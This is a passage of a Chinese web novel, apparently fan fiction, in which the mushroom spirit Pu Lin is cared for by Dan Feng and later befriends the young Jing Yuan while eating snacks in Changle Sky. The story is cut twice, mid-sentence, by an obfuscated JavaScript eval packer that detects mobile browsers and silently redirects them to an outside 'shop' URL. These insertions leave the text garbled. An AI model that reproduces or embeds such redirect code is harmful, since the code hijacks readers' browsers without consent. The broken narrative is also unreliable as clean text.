蒲霖脑袋一歪,啪叽一下靠着身边的人肉靠垫就睡着了。 蘑菇:“zzzzzz......” 早已成年的龙尊大人肩膀硬邦邦的,并不适合当一个靠枕。 要是真让他以这种别扭的姿势睡着了,第二天起来准要不舒服。 丹枫扶着少年的肩膀,动作小心地把他的身体往外挪了挪,又托着他的后颈轻轻放平,让他的脖颈和头部枕在自己腿上。 肩膀的骨骼太硬,现在有柔软的布料作为缓冲,醒来也不会出现颈椎酸痛之类的问题。 整个过程行云流水,心大的蘑菇丝毫没有察觉,甚至还吧唧吧唧嘴,睡得更香了。 皎洁的弯月于夜空高悬,流沙般的月光透过舷窗四处流淌,像银屑一样洒在了两人身上。 酣睡的少年身上披着大一号的披风,那是身边人从玉佩里取出来的。 从小腿开始,一直严严实实地盖到下巴。蒲霖仰面枕在灰色的长裤上,纤长的睫毛翘起,嘴唇自然地闭合着,脸上还有尚未褪去的红晕。 今天他玩得很开心。 丹枫垂着头,目光无意识地描摹着另一人的轮廓,灰绿色的眼眸像一口月色下静谧无声的深潭,掀不起一点涟漪。 槎内安静了下来,只留下蘑菇细微的呼吸声。思绪便如潮水般席卷了唯一清醒着的人。 龙尊大人回想起了他们第一次见面的那天,那时他刚刚结束一天的课程,略有疲惫地回到房间,就发现屋子迎来了一位不速之客。 不速之客还相当不客气,当着他这个屋主的面就开始叽叽喳喳。 光天化日,他的侍从与近卫还呆在外面。 未免过于嚣张。 最开始他还怀疑自己是不是因为课业繁重,导致神志有些不清明,但他很快就发现这个声音确实存在,且只有他一人能听见。小龙尊没有选择打草惊蛇,又费了几天时间仔细观察。 旁若无人的絮絮叨叨,细细小小的微弱声音,顺着声音的内容找寻,他发现居然是桌子上的一个蘑菇在讲话。 虽然知道宇宙之大无奇不有,但还是被小小地震惊了一下,接踵而来的就是警惕与防备。 未记载入册的生物、来历不明、能悄无声息地潜入龙尊房间、不知目的......任意一种因素都有理由让他立刻揪出对方,交给龙师审问。 如果站在那里的是成年版的自己,恐怕会当机立断将其攫住。 但是。 “早上好...小龙人......” “小龙人......角钝钝的...” “唔...饿了。” “...晚安哦...” “不能弄脏...地板...” “....今天回来好晚...” “...小伙伴...是不是不开心啊...” “...幼崽...怎么会这么疲惫...” ...... 但是,最终他什么都没有做。 彼时年幼的龙尊大人迟疑了。 这一迟疑就迟疑了整整一年。 从来没有人敢这么跟他讲话,在这只精怪眼里,他似乎只是跟它生活于一个屋檐下的普通室友,互不打扰,互相问候,仅此而已。 它会为他的晚归而困惑,会因为他心情不好而担忧,会因为他异常忙碌的行程而难过,即使早上睡的迷迷糊糊也要坚持跟他道别...... 真是......新奇的感觉。 听着不速之客柔软的声音,关切的语言,小龙尊从来都不知道,他居然会有词穷到无法形容自己感觉的一天。 那种新奇的感觉自内而外地萌发,像是被一汪温暖的热水浸泡,以至于不知所措。因为温差太大,喜凉的一方率先缩回了手。 他想,也许是自己太无聊了,也许是身边没有同龄人,也许是第一次看见会说话的蘑菇...... 最重要的是,他是堂堂持明龙尊,是一族之首,不至于跟一只小蘑菇计较,睁一只眼闭一只眼罢。 但他的主动退让并不意味着一只不谙世事的蘑菇也会自觉找到安全距离。 在后来的日子里,他发现这只奇怪的蘑菇似乎不觉得自己说话能被屋主听到,一开始还在那嘀嘀咕咕自己怎么什么都忘了,过了几天就开始小声议论这里的环境和人事,再到最后就在整天喊饿。 把老底都掀了不说,搬个家还能把自己撞晕,吃个东西还要犹豫不决,明明无人听见还要自言自语一些奇奇怪怪的问题...... 毫无威胁。 他如此判断。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785877|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 某些族人都未必有这家伙懂礼貌。 经过日积月累的观察,他总是在聆听它的声音,窥探它的身形,对它单方面的认知与了解与日俱增。一个再寻常不过的黄昏,自恃冷静的局外人才惊觉自己早已沦陷,再也无法从容地抽身离开。 于是他开始谋划抓菇大计。 计划很成功,美中不足的一点,就是他不小心把蘑菇吓哭了。 不过小蘑菇真的很心软,不过寥寥数语,不过权宜之策的低头,他放开了禁锢,它居然还是选择相信他,愿意呆在他准备的花盆里,愿意自投罗网。 ......真的好笨。 一开始蘑菇只是蘑菇的时候,会说话,整天蹦蹦跳跳,还会跑到门口去迎接他,甚至还爱干净,懂礼貌,性子单纯的不得了。 他们从来不会闹矛盾,即便物种不同,思维迥异。 日复一日的投喂下,他萌生了悉心豢养,佑它安然长大的想法。 这是他悖逆龙师的第一件事。 此后,那些寡淡的岁月重新缀上绚丽的色彩。即使有再繁重的课业,他也拥有了浮上水面喘息的机会,停滞的时间如潺潺溪流般流淌,万物复苏。 再后来......一次意外,小蘑菇突然会变人了。 蘑菇变成人形后,那就是能与他并肩的人类,他无法再用宠物的视角俯瞰它,他们的生活应该与之前不同。身份、谈吐、性格、经历......毕竟人与人之间总是有些许距离与隔阂的,这是常识,也是最优解。 可是,多年养成的习惯也早已深入骨髓,不是外力能轻易改变的。 饮月君目光深邃,不知在想些什么。 “嗡——” 星槎玦轮靠岸熄火的细微声音打断了他的思绪,丹枫知道此行目的地已经抵达。 “蒲霖,蒲霖?醒醒,我们已经到了。” 丹枫轻声呼唤,没有贸然晃动身体,喊了好几次对方才悠悠转醒。 蒲霖抱着身上的衣服迷迷瞪瞪地睁开眼睛,见窗户外的云彩与星星不动,就知道已经停滞下来了。 蘑菇晕乎乎地从丹枫腿上直起身,肌肉记忆让他下意识往门的方向走,完全没看清门还关着。 眼看他就要砰的一声撞上去了,手腕被一把拉住。丹枫无奈的声音在身后响起,“看路,门还没打开。” “噢噢......” 蘑菇的身体答应了。 最后他还是迷迷糊糊地跟在丹枫身后下了船,又被他牵着一路歪歪扭扭地回到了家。 等穿过庭院,走到了自己的房间,蒲霖反而清醒了一些。丹枫已经把他的小宝贝们都好好地放到了桌上,实在放不下了就往一旁的架子上摆,只有那个保温盒还没有拿出来。 “今晚想要洗澡吗?还是直接睡觉?食盒有保鲜功能,里面的东西可以明早起来再吃。” 丹枫忙完一切,侧首看着蒲霖,耐心询问。 蘑菇呆了呆,看着不远处柔软的床铺,从来没有觉得被子这么吸引菇过。 好在他体质特殊,不必像人类那样保持日常清洁,踌躇片刻,蒲霖很快下定了决心,“我......我还是直接睡觉吧,我们蘑菇不像纯种的人类,身上不容易脏的!” “嗯,那你好好休息,我先走了。”丹枫揉了揉少年凌乱的头发,就打算先推门离开。 蘑菇思维转得有点慢,一直到丹枫走到门口了,他觉得手里重重的,就低下头去看,突然发现自己手上的披风相当眼熟。 这个样式...... 啊! 蒲霖赶忙追了过去,“等等!丹枫!披风我忘记给你了!” 成功把衣服送回去后,他站在房门口,毫不厌烦地重复着每天睡前必要说的话,“那晚安啦,我们明天见哦,丹枫。” “嗯,晚安。” 22.第 22 章 送走丹枫以后,蒲霖慢吞吞地伸了个懒腰,他揉了揉眼睛,按照人类洗漱的习惯刷牙洗脸后,就沉沉睡去。 虽然蒲霖已经拥有了自己的房产,但蘑菇习惯了睡在这个房间,暂时不想搬家。 * 第二天一大早,蘑菇就把自己的宝贝们一一摆放起来,各种稀奇古怪的东西堆满了架子,他拨了拨窗前的蘑菇风铃,清脆悦耳的声音回荡在这个房间。 蒲霖玩得不亦乐乎,不过他想想接下来的行程,还是恋恋不舍地收回了手指,推开木门,轻车熟路地找到了吃早饭的厅堂。 侍女们在他起床的时候就已经把食物都摆好,只等着主人前来了。 按照蘑菇那溜溜达达的速度,等他到桌边的时候那些菜肴已经可以如流水一样飞速上桌了。 蒲霖是最先到达的,但丹枫也没落下多少。 蒲霖在庭院里转了一圈,拿出了昨天得到的手机,在网上冲浪了一会儿,快速了解了一番罗浮洞天后,决定今天还是去长乐天,金人巷只是长乐天的有名夜市,真正的长乐天洞天非常大。 不过在他走前,去找丹枫报备的时候,对方把一个玉佩形状的挂件送给了他。 “这是什么?” 蘑菇抓着玉佩翻来翻去,举起来对着阳光看了半天。 它像一枚铜钱,弧度饱满流畅,毫无杂质的浅绿色质地在阳光照射下如凝脂般醇厚,扣头则由珊瑚金打造成了立体镂空的枫叶,编织细致的挂绳与流苏皆是年轻又稳重的深墨绿色。 玉佩下端有一个与扣头同材质的黄金小箍收束着流苏,与扣头的栩栩如生不同,这是两片更为小巧精美的枫叶。 而在流苏的尾端,融着少许与玉佩颜色相近,但更鲜亮的绿色丝线。这是设计者的小巧思,当它摆动时,那一抹跳脱的绿便若隐若现,宛如灵动的森林精灵。 “昨天你提到的空间折叠装置,摸这里就可以进行收纳,这个位置则是拿出物品。” “哦!” 蘑菇喜出望外,他立刻现学现用,对着一旁书架上的书卷就开始练习。 绿光一闪。 “噢收进来了——” 绿光再闪。 “哇又出现了——” 蘑菇对此乐此不疲,几乎都要把今天的正事抛之脑后。 等等,蒲霖突然反应过来,他今天不是要准备出去的吗? 蒲霖握着玉佩,转头看向丹枫,对方正在一旁翻阅书籍,神态沉静,似乎不为外界打扰的模样。少年眨了眨眼,一点一点地往后挪,打算悄悄退走。 那人背对着他,突然出声。 “玉佩可以挂在腰上,不容易掉。” 四周安静下来,最闹腾的人已经有好长时间没有发出动静,因此当那阵悄悄挪步的微弱声响传来时,注意力一直在他身上的丹枫,立刻便捕捉到了。 “好哦——收到!”蒲霖停下脚步,揪起玉佩上的墨绿色长绳就开始往腰带上绑。 ...... 没有找到挂的位置,玉佩有些迷茫地转了一圈。 没等他继续琢磨,突然手心一凉。 蒲霖抬头看去,丹枫不知何时从书桌前走了过来,他轻轻从蒲霖手中把玉佩揪出来,手法娴熟地将其系在了腰带上。 蒲霖抬着手臂努力不妨碍到他的动作。 墨绿的流苏从他指尖滑落,丹枫直起身子摸了摸少年的脑袋瓜,轻声嘱咐,“去吧,有什么事就用手机联系我,记得要早点回来,注意安全。” 蘑菇软乎乎地朝他笑:“嗯嗯~” 离开居住的洞天后,蘑菇就踏上了前往长乐天的路程,到达目的地后,少年快乐地从星槎上一跃而下,清爽的微风掀起了他的额发,鎏金的眼眸在日光下熠熠生辉。 长乐天整体的建筑风格与金人巷差不多,要更大气一些,没有了金人巷那么浓郁的烟火气,但依旧很热闹,路边多的是来来往往的狐人、持明与仙舟人。 从最初的盟约,到现在三族融洽的生活在一起。 蒲霖下了船后没有准确的目的地,干脆闲逛了起来,他看什么都是新奇的眼神,清澈透明的观赏瀑布倒映出他扭曲的倒影,看到漂亮的植物就凑上去嗅嗅,发现精美的建筑物就驻足观赏。 “琼食鸟串——酸酸甜甜的琼食鸟串嘞——” 恰巧听到有人在卖琼食鸟串,虽然刚刚吃完早饭,蒲霖还记得昨天嘴里酸酸甜甜的味道,顿时口舌生津,打算凑过去再买一串。 “老板!来一份琼食鸟串——” “老板,来一份琼食鸟串——” 两道音色不同,但内容一样的声音同时响起。 好巧! 蒲霖眼睛亮亮,循声望去,便撞入了一双盛着熔金与晚霞的眼眸。 喧嚣的街市声似乎在此刻彻底远去,流逝的时间也悄然定格,蒲霖看清了那双眼中与他如出一辙的讶然,看见了那头与他迥异的发色。 两人皆是一怔。 洞天阳光比往日更加明媚,暖洋洋地照耀着喧嚣繁盛的大地,温柔地抚摸过宏伟建筑,轻风拂过行人的衣角,不着痕迹地吹散了燥热的心绪。 虚假之天犹如一片倒扣的碧蓝海洋,凝固着永恒不变的时光。 白发少年生的俊美非凡,剑眉星目,薄唇微勾,眼里含着游刃有余的笑意。他半披着白色长发,上半截被赤红的发带拢成一个马尾,凌乱的白发自鬓边垂落,左眼下点缀着一颗小小的泪痣,在日光下潋滟生辉。 蒲霖觉得他整个人看起来像只脾气很好的大猫,有种软绵绵的,云朵一样的暖意。 [......可能是因为她有一个徒弟的眼睛和你的很像。] 那日丹枫的声音突然在脑海中浮现,蘑菇呆呆地看着面前外貌与他差不多大的少年,心有灵犀般地呢喃出声: [他叫景元,是镜流的得意门生,是男性,至于年龄......他还没成年。] “......景元?” 本是闲暇之余来买些念念不忘的零嘴,却被一个陌生人准确无误地叫出了名字,少年俊脸上错愕的神情一闪而逝。 那双含着笑意的金瞳微微一顿,不着痕迹地收回了准备出口的话语。 年轻的云骑骁卫当即不动声色地打量着面前相当眼生的少年,不断翻阅着脑海中的记忆。 这般出众的外貌与气质,他若有过一面之缘,不可能了无印象。 他在云骑中虽说小有名气,但云骑军的保密措施非常严格,普通人就算知道[景元]这两个字,也不可能这么快就与他的长相对上。 电光火石间,景元很快反应过来,他的唇边挂起泰然自若的笑意,彬彬有礼道,“这位小友,初次见面,在下景元,不知阁下尊姓大名?” 蘑菇眨巴眨巴眼睛,莫名觉得周围的氛围正经起来了,他学着对方文绉绉的用词,一板一眼道,“你好,景元,初次见面,在下蒲霖。” 景元眼波流转,微微眯起眼,“蒲草韧如丝,磐石无转移......寓意很好。” 见对方懵懂学舌的模样,他唇边笑意加深,便眨了眨眼,话锋一转,“当然,名字好坏不及眼前事重要,你也喜欢吃琼食鸟串?” 蒲霖认真点头,酸甜的香气仍然拨动着他的鼻腔,他的视线重新投向红彤彤的串串,准备先付款再聊天。 手机还没扫到标识,身边静默不动的少年突然伸手拦住了他的举动,先他一步付了两个琼食鸟串的钱。 蒲霖盯着两串诱人的串串茫然转头:“?” 仙舟人付钱也需要抢吗? 景元对上他明晃晃的视线,轻笑一声,他捻住其中一串的木签尾部,既不弄脏食物,又留下大片方便接手的空间,递给了眼巴巴的蒲霖, “人生在世,难得遇到同好,这串我请你吃,就当交个朋友,如何?” 蘑菇乖巧点头,他欢欢喜喜地道了一声谢,没有任何犹豫就接过了琼食鸟串,嗷呜一声啃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16791931|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一大口。 脆脆的糖衣与软糯的果子被咬得咔嚓咔嚓响。 景元笑眯眯地看着眼前美滋滋享受美食的少年,也低头啃了一口自己的那串,有些含糊道, “不过,下次可得你请我了,朋友之间,应该是这样有来有往的嘛~” 蒲霖点点头,觉得他说的很有道理。 见对方应允,景元咽下果实,语气也轻快起来,“哎呀呀,没想到我现在都这么有名了,随便在大街上散步都能遇到认识的人,整个罗浮,恐怕只有将军才能有如此待遇吧~” “......唔,”蘑菇嚼吧嚼吧食物,在甜食的作用下,内心也松懈了不少。 听到景元的自言自语,他老老实实道,“是我的一个很好的朋友说的,他说景元有一双金色的眼睛,和我的很像,还是男生,你是我在罗浮见到的第一个符合这个描述的人。” 他记得之前丹枫掩饰自己外貌名称的举动,大庭广众之下,蒲霖自然不会给他惹麻烦,很细心地掩去了丹枫和镜流的名字。 “哦——原来是这样啊。” 这段话信息可不少。 白发少年拉长了声音,神情若有所思。 他慢吞吞地咬下最后一颗裹着糖衣的红色果实,在嘴里嚼得咔嚓咔嚓响。 借着方才递送食物的举动,他不动声色地拉近了两人的距离。 仙舟人良好的视力让他足以清晰地窥见一丝端倪。 市面上目前最昂贵的手机型号,私人定制的空间折叠装置,剪裁得体的服装,不谙世事的眼神......这些无疑都指向一个钟鸣鼎食的显赫身份,与他身上那股毫不设防的气质产生了强烈反差。 景元吞下酸甜的糖果,嘴里还残留着些许甜意,他漫不经心地想,这种组合可真有意思。 “蒲霖觉得长乐天如何?”景元懒洋洋地伸了个懒腰,“是不是很有意思?这里的氛围不错,我下班后最喜欢来这里放松,感觉就像家一样。” “我觉得都很好玩,”蘑菇对这几天的经历如数家珍,他掰着手指一一回忆,“昨天去了金人巷,今天来了长乐天,但是明天就不能这样随意玩啦~” “哦?那太可惜了,是有什么急事吗?” 景元似乎有些好奇地问道。 “因为要参加慰灵奠仪呀~” 不知不觉,蒲霖手中就剩下一个果子了,他咬下后含在嘴里半天舍不得咽下去,让糖衣自己慢慢融化。 蒲霖眯起眼睛,好吃,又解锁了新吃法。 景元一怔。 “慰灵奠仪”这四个字在少年口中显得轻于鸿毛,仿佛一阵风就能吹走,却在他心中留下了久久不散的涟漪。 思及战争中逝去的那些同胞,还有少年提及好友的单纯神情,他无意识地握紧了尚未丢弃的木签子。 那些巧妙套话、试图拉近距离的心思,现在看来,是何等的不合时宜。 他没有再说任何漂亮话,胸腔中的千言万语最终只化作四个简单的字眼。 “抱歉,节哀。” 白发骁卫的面容不见轻快,只剩凝滞的沉重。 蒲霖察觉到气氛不对,含着果实扭头,听完新朋友说的话后,状况之外的蘑菇缓缓打出一个问号。 他为什么要向自己道歉? 还有......节哀? 前几年丹枫就教过他关于仙舟的一些礼仪用词,据他所知,节哀这个词是既对死去之人哀悼,又表达对死者亲朋好友的关心和安慰的。 可是,他只有丹枫啊,丹枫不是活得好好的? 蒲霖吸溜一声被酸到的口水,不解地追问道,“为什么要节哀?为什么要道歉?难道你做了什么对不起我的事情吗?那没关系呀,我原谅你了。” 他大手一挥,郑重其事地表示宽恕,随即还是有些摸不着头脑,“可是除你之外,我目前只有一个好朋友......不对,昨天我的联系列表里还增加了一位,但他们都还活着啊?” 23.第 23 章 景元被对方一连串的问题打了个措手不及,他面上的沉重尚未收起,就混杂进了些许茫然与错愕。 “......欸?” 他发出了一个疑惑的音节。 景元与蒲霖对视着,后者眼中充满了困惑不解,头顶乱翘的呆毛都弯成了一个小小的问号。 短暂的僵持后,他绷紧的肩膀松懈下来。 “呵...原来是这样......” 白发少年颇为哭笑不得地捂住额头,耳尖微红。 “是我想错了,”他放下手,笑容有些无奈,“见你提及慰灵奠仪,我便想起了之前那场战争,以为你有什么亲友离开了......而我之前的无心之言与往伤口上撒盐无异,便觉得万分内疚。” 少年坦荡的笑容里夹杂着一丝尴尬,转瞬即逝。 “所以才想着要跟你道歉。现在看来,倒是我的想象力过于丰富,以至于上演了一场摸不着头脑的戏,还请别见怪。另外,听到你的朋友们都还健在,我亦感到高兴。” “......” 蒲霖眨了眨眼,纤长的睫毛如蝶翼般扇动了两下,一个柔软温和的念头悄然浮现。 他很快便露出了一个欢快明亮的笑容,“嗯,我明白了,景元,你是好人,你是因为关心我,所以才会想这么多!” 但景元身上的悲伤似乎还在,蒲霖望着他,似乎想到了什么,试图用自己的逻辑来安慰这位新朋友: “你知道吗,院子里的叶子会落下,而很久之后,叶子落下的地方也会长出新芽。生命就像一场循环一样,所以别难过啦,要不要再吃一点琼食鸟串?” 想起账户上那一串零,蒲霖底气十足,他豪迈地拍了拍胸膛。 “这次我请你!” 正巧他们站的位置离那个摊位不远,就几步路的距离,执行力极强的蒲霖说干就干。 景元还没消化完他新颖的观点,只来得及“哎”了一声,然后就只能看见对方的背影了。 景元伸着没挽留住人的手:“......” 少年利落地付款结账,腰间玉佩下的流苏晃动,整个人像只撒欢的鸟雀似的很快就捏着两根琼食鸟串回来了。 “厄(给),”他嘴里还叼着一串,把双手往新朋友面前一递,含糊不清道,“嗷吃乐(好吃的)。” 景元一愣,两串? 见对方腾不出手的艰难模样,他不再犹豫,快速伸手接过,还不忘调侃道,“蒲霖好生阔气,方才我们一人一串,很是公平,现在却是两串......难不成这还讲究个好事成双?” “嗯!” 蒲霖把嘴里叼着的零嘴拿下,他咂摸着口腔里的甜味,认真解释道: “两串都是好吃的,都可以赶走难过。但是我现在不那么难过,只是想吃好吃的,就买了一串,所以我们现在有三倍的快乐啦!” “......” 景元一时失语。 听着他雀跃的语调,手中捏着扎实的木签子,鼻尖萦绕着酸甜的香气。 这只是两串街头再常见不过的琼食鸟串,似乎奇异地驱散了心头的阴霾。 景元看着蒲霖那副将其视作世间真理的理所当然状,终于再也绷不住。 他低下头,肩膀微微耸动,抑制不住笑出声来,“哈哈哈......好一个三倍的快乐,真当是‘妙手’!” 少年的笑声清亮,再无一丝压抑的沉重与悲切: “破忧、解馋、共乐,不可谓不面面俱到,那这份心意,景元可就却之不恭了。” 他说的话蒲霖有部分没听懂,但他不在意,蒲霖咔嚓咔嚓地咬着糖衣,看着对方高兴的模样,自己也弯起了眼睛。 两人就这样一边遛弯,一边享受美食。 “不过既无亲友离去,我有些好奇,蒲霖为何会想去参加那场仪式?” 对此被问的人也不怎么确定,“是有人邀请我去的,至于原因,可能......是因为我也参与了那场战争?” “而且这还是我第一次参加慰灵奠仪,总感觉这是个沉重的词语,不知道明天会走什么样的仪式啊。” 说到后面,他表现得颇有些向往。蘑菇不懂人类为何要去纪念死亡之人,但不妨碍他对即将到来的仪式产生兴趣。 “邀请的人告诉我,逝去的云骑军、飞行士、或者普通人里,总有那么几个是没有朋友、家人、孩子的,或者他们所有的亲朋好友也离开了,人际关系简单。” “这种情况下就没有人会自发为他们收敛遗物。” 蒲霖补充道,“他们当然不会坐视不理,一般都会派人去收敛,不过我也可以作为他们的战友去见证一番。” “我觉得很有意思,而且我也没有其他事情需要忙,就答应啦。” 他尝试将腾骁说过的话一字不漏地搬出来,虽然有点逻辑不清,但景元还是理解了他的意思。 特别受邀、来历不明、身份非凡......种种buff叠加在一起,他想起了之前战场上的异样。 景元斟酌再三,还是询问道,“蒲霖,之前那个在战场上横空出世的助力,是你吗?” 身为云骑骁卫,景元当仁不让地冲在战场最前线,是抵抗丰饶孽物的主力军之一。 他也亲眼见证了丰饶孽物被看不见的东西缠绕住全身,求生不得求死不能直接被腐蚀殆尽的恐怖场景。 如果仔细观察,就会发现它们是一种类似丝线但带有毒性的武器。 在战斗的过程中,他隐隐感觉到自己身边似乎也有类似的东西擦肩而过。 它们也不会攻击云骑军,好像能区分敌友一样。 有了那些看不见的东西帮助,确实让罗浮伤亡人数大大减少。 后来他也有去打听过,但上面的回复只是模模糊糊地说那位是将军请来的援手,至于其他的什么消息,来历、长相、能力、姓名全都没有,就像被谁抹去了痕迹一样。 景元默不作声地重新审视了一遍身边的少年。 和他差不多高的个子,相貌看起来软绵绵的,胳膊也细细瘦瘦的,金色的眼眸澄澈见底,完全看不出来他是操纵那些可怕生物的人。 这种人畜无害的气息,要说他是哪个家族精心养大的幺儿都有可能。 蒲霖点点头,神情自然得仿佛在说天气真好,“嗯,是我。” 他此时吞下了最后一颗糖球,学着景元的样子伸了个懒腰,没有在前面的话题上过多停留。 “唔真好吃~现在我也是仙舟……呃,确切来说是罗浮人啦!我喜欢这个地方,有好多好吃的,还有我在意的人......” “啊,”说到一半,蒲霖像是想起了什么似的,他举起手机,看着眼前的少年,“差点忘和你加好友了,加上你的话,我就有三个好朋友啦。” 闻言,景元夸张地做了一个西子捧心的受伤表情,像只被雨淋湿的可怜大猫,眼中却悄然漾起了笑意: “诶——好难过啊,我居然不是蒲霖的第一个好朋友吗?看来要更努力才行啊~” 听着他说的话,蒲霖脚步一顿,心底冒出的第一个念头却是: 咦,好奇怪。 他微微歪头,为什么景元说他在难过,他却没有感觉到任何难过的气息? 眼前的少年依旧是高兴的。 蒲霖思考了一下这个矛盾,但还是想不通,索性便放弃琢磨这个问题了。 不管高兴还是难过,吃点喝点总会更开心。 逻辑自洽的蒲霖弯起眼眸,“没事,我请你吃好吃的,热浮羊奶怎么样?喝完就会更开心哦,我试过了,很有效的~” 只是想逗逗蒲霖结果反被安抚的景元:“......” 他面上那点做作的表演瞬间一扫而空,有些啼笑皆非地伸手拦住了对方,“等等。” “怎么能叫你再请我一次?这可不行,在罗浮,万万没有叫新朋友连续请客的道理,人们讲究的是礼尚往来。” 说着,他抬起了手腕的玉兆,笑眯眯道,“咱们先加个好友,我带你去长乐天有名的景点逛逛,下次你要是发现什么好玩的,也带上我一 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两人都非常有礼貌,在公共场合没有大声喧哗,他们几乎是头碰着头,窃窃私语声淹没在烟火气里。 “景元,你心情好些了吗?”蒲霖小声嘀咕。 “自是好些了。” 他怀疑要是他说不好,又要被对方塞一瓶热浮羊奶。 “诶,好吧,我之前还买了不少,现在都放在保温盒里呢...” 蘑菇面露遗憾。 景元:“......” 喂,你这家伙居然真的想塞啊! 过了一会儿。 “......其实要论长乐天最有名的地区,其实还是金人巷,游客打卡点基本都在那边。” “为什么呀?” “因为在几百年前,那里是长乐天洞天最为有名的富人区,居住过达官贵人、社会名流,从地衡司的司衡,到神策府的策士,从文学大师到画坛巨匠......” 微风徐徐,刮起草叶,细碎的声音淹没在沙沙声中,他们穿过悠暇庭,再往深处走,就可以看见一片亭台废墟。 大多已经看不出完整的形状了,侧卧的石狮子、推倒的莲花石柱、碎裂的云纹水槽......斑驳的石构在深处的草丛里静静沉睡,恍惚间,这些古老的文物好像也会像生物一样呼吸了。 即使蒲霖不是人类,也会为人类悠久而顽强的文明延续而驻足。 景元见对方似乎看了一眼就要离开的样子,又看了看一旁拍照打卡的游客,一时兴起,问道: “蒲霖,你不拍张照片当做纪念吗?到时候也可以带给你的几位好朋友看哦。” “照片?”蒲霖猛地停下脚步,兴致勃勃地问道,“照片是要这种时候拍的吗?” 好奇怪的问法。 景元挑眉,“倒不是一定要拍,拍照主要是用来记录生活、情感表达,促进社会互动、留存文化等。” 他看着懵懂的少年,耐心地解释道: “拍照可以定格你觉得有价值的瞬间,然后通过这种镜头语言给他人传递你的心情,悦己亦悦人。” 蒲霖觉得景元说的话很复杂,但很有道理。 于是后来他便像是打通了任督二脉,去哪都要一顿狂拍,景点遗迹、花花草草都没有放过。 完了还跟景元一起拍了几张合照,各种背景里,两个风格迥异的少年比着V字型手势笑的灿烂。 拍完景元特意叮嘱蒲霖,他的工作有保密性质,给可信的朋友看可以,但尽量不要把有关他的照片和名字传播到社交网站。 蒲霖没有多想,他本人也是不爱分享动态的那类,便欣然答应。 离开这片古迹后,他们重新迈入热闹的街区,突然在听见一人在沿街叫卖,两人循声找去,原来是有人在兜售宠物。 好奇心旺盛的蒲霖看清那里的景象后,唰的一下睁大了眼睛。 好大的猫! 24.第 24 章 他看着面前巨型的猫科动物,它们毛色不同,或是三花,或是黑白,或是纯蓝,各有特色。 这些家猫被关在专门定制好的高大笼子里,过于强健的皮肉让靠着笼子边缘的身体都勒出一道道竖印子。 大多都在慢吞吞地舔毛和睡觉,蒲霖觉得它们要是用两只后腿像人类一样站立起来,完全可以超过他目前的身高。 蘑菇蹲下来,双手乖巧地摆放在膝盖上。 他毫不在意体态,为了离猫猫近一点特意把腰背弯起,几乎要缩成一个小球,整个人从背面看就像一颗小小的芝麻糯米糍。 “这是仙舟家猫,罗浮流行饲养壮健庞然的宠物,像家猫这种体型健美的宠物尤其受到欢迎。蒲霖也喜欢?” 景元跟在他的后面,见他似乎对宠物产生了兴趣,也一同蹲下。 但姿势就要优雅不少。 白发少年身形挺拔,双膝往两边弯曲,手掌自然地搭在两边膝盖骨上。 是一种底盘稳固,可以随时暴起的姿势,很好地缓解了蹲下动作的不便。 蒲霖摇了摇头。但他没有离开,咔嚓咔嚓拍完几张照片后,还是蹲在原地,似乎在盯着离他最近的那只家猫发呆。 那家伙没有理会笼外的人类,一天来来往往的行人不要太多,它早就免疫了。 它眯着一双圆溜溜的猫瞳,伸出满是倒刺的舌头慢条斯理地舔自己爪子上的长毛。 在景元看不到的角度,少年金眸里似乎有种诡异的光芒一闪而逝。 蒲霖突然发出怪声:“呲溜呲溜呲溜......” 景元:“......?” 那双黑白相间的尖耳朵一抖,大猫停下舔爪,缓缓转过头来看他,下巴上的黑点让它的表情看起来更懵逼了。 猫:“?” 蘑菇也不吱声。 家猫转回头,盯着自己的大山竹停顿了几秒,决定继续舔毛。 蘑菇:“呲溜呲溜呲溜......” 那猫又停下舔毛,转过头来看他,顶着黑色的锅盖头,黑色瞳孔微微放大。 猫:“......?” 蘑菇假装无事。 家猫看了他片刻,动了动黑漆漆的鼻头,决定换个位置舔毛。 蘑菇:“呲溜呲溜呲溜......” 这次家猫没有转头,它看似在目视前方,实则在朝蒲霖的方向斜眼瞥视,并且缓缓握紧了前爪。 猫:你是不是想吃窝一喵拳? 目睹全程的景元:“......” 那些在战场上杀伐果断、见血封喉的鬼见愁,真的是眼前这个家伙操控的吗? 担心这只猫被蒲霖惹到暴走,为了蒲霖,也为了这只猫的安全考虑,景元苦口婆心,连劝带拖,终于把蒲霖从大猫面前拽走了。 他瞥了眼玉兆,拉着蒲霖去买了几杯冷饮,只是他没有喝,暂时把它们都收起来了。 “嘶......你还真敢惹那群家猫啊,它们可是被经常用来看家护院的,那一爪子下去可不得了,要是没有我们这般强健的体质,小心成为丹鼎司常客。” 蒲霖慢悠悠地跟在他身后,“没关系的,有我的朋友在就不用担心,他超级厉害的,无论多严重的伤口在他那里都可以解决~” “......蒲霖。” “嗯?” “你那位朋友,不会是......持明族的吧。” “......”蒲霖一呆,眼神有点慌乱地到处乱瞥,“才不是,他、他是仙舟人,只是医术比较好!” 景元挂着无懈可击的微笑:“......” ——你一点都不会说谎哦,蒲霖。 在罗浮,有权保密一个人的资料,能拿到那种款式的手机、空间折叠装置,还会治疗,并且能把一个人保护到这个地步......不巧,还真有个人符合这几条特征。 而师父在几个月前刚好被将军派去保护持明族的龙尊,而龙尊刚加入这场战争就出现了新的帮手...... 